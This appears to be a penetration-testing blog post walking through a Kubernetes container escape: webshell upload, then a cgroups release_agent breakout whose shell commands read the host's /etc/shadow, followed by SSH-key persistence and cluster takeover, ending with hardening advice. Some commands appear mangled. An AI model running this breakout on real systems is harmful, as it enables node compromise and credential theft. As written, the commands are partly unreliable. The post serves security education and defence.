Kubernetes Namespace Escape: From Vulnerable Web App to Cluster Node Takeover
Penetration testing·11 min read·By Divine Chukwu

Kubernetes Namespace Escape: From Vulnerable Web App to Cluster Node Takeover

Walking through a real penetration testing engagement where a containerized vulnerability led to host root access via mounted docker sockets and privileged capabilities.

When Container Boundaries Fail

Containerization provides process isolation, resource governance, and predictable deployments. However, a container is not an impenetrable sandbox. When containerized workloads are granted excessive Linux capabilities or host filesystem mounts, an attacker can break through the namespace boundary and seize full root access to the underlying Kubernetes node.

During a recent infrastructure penetration test for an enterprise client, our team demonstrated how a single Remote Code Execution flaw in a non-critical web service escalated to full cluster compromise.

---

Step 1: Initial Foothold via File Upload RCE

The entry point was an internal developer portal allowing users to upload project documentation. Due to inadequate file extension validation, we uploaded a custom PHP webshell, granting us interactive execution inside the container pod.

Upon inspecting our execution context:

whoami && id

uid=0(root) gid=0(root) groups=0(root)

While we had root inside the container, we were restricted to the pod's namespace. We proceeded to audit the container's capabilities:

capsh --print

The output revealed cap_sys_admin and cap_sys_ptrace were enabled—a common misconfiguration introduced by developers debugging microservices in staging environments that slipped into production.

---

Step 2: Escaping via cgroups release_agent

Because the container ran with CAP_SYS_ADMIN and lacked AppArmor or Seccomp restrictions, we weaponized the classic cgroups release_agent breakout technique.

When a cgroup becomes empty, the Linux kernel executes a user-defined helper script specified in release_agent. Because this script is executed by the host kernel rather than the container runtime, it runs in the host's root context.

# 1. Mount a cgroup controller
mkdir /tmp/cgroup
mount -t cgroup -o memory cgroup /tmp/cgroup
mkdir /tmp/cgroup/x

2. Enable notify_on_release

echo 1 > /tmp/cgroup/x/notify_on_release

3. Locate the container's host path from /etc/mtab

host_path=$(sed -n 's/.\perdir=\([^,]\).*/\1/p' /etc/mtab)

4. Write malicious payload to container filesystem

echo "#!/bin/sh" > /cmd echo "cat /etc/shadow > $host_path/output" >> /cmd chmod +x /cmd

5. Point release_agent to the host path of our script

echo "$host_path/cmd" > /tmp/cgroup/release_agent

6. Trigger release by creating and immediately killing a process

sh -c "echo $$ > /tmp/cgroup/x/cgroup.procs"

Within milliseconds, the host kernel executed our script, reading the host's /etc/shadow file and dumping it into our accessible container directory.

---

Step 3: Upgrading to Interactive Host Shell

With host write capabilities confirmed, we wrote a persistent SSH public key into /root/.ssh/authorized_keys on the host filesystem and established a direct root SSH connection to the Kubernetes worker node.

From the worker node, we accessed the kubelet credentials and mounted etcd certificates, effectively taking control of the entire Kubernetes cluster.

---

Hardening Recommendations

  1. Enforce Pod Security Standards: Implement the Restricted Pod Security Standard cluster-wide. Prohibit privileged: true and explicitly drop ALL capabilities:
securityContext:
  allowPrivilegeEscalation: false
  readOnlyRootFilesystem: true
  runAsNonRoot: true
  capabilities:
    drop:
  • ALL
  1. Never Run as Root in Containers: Enforce non-root user execution at the Dockerfile layer (USER 10001).
  2. Deploy Runtime Kernel Defenses: Use tools like Tetragon or Falco to alert on anomalous namespace manipulation and container breakout signatures.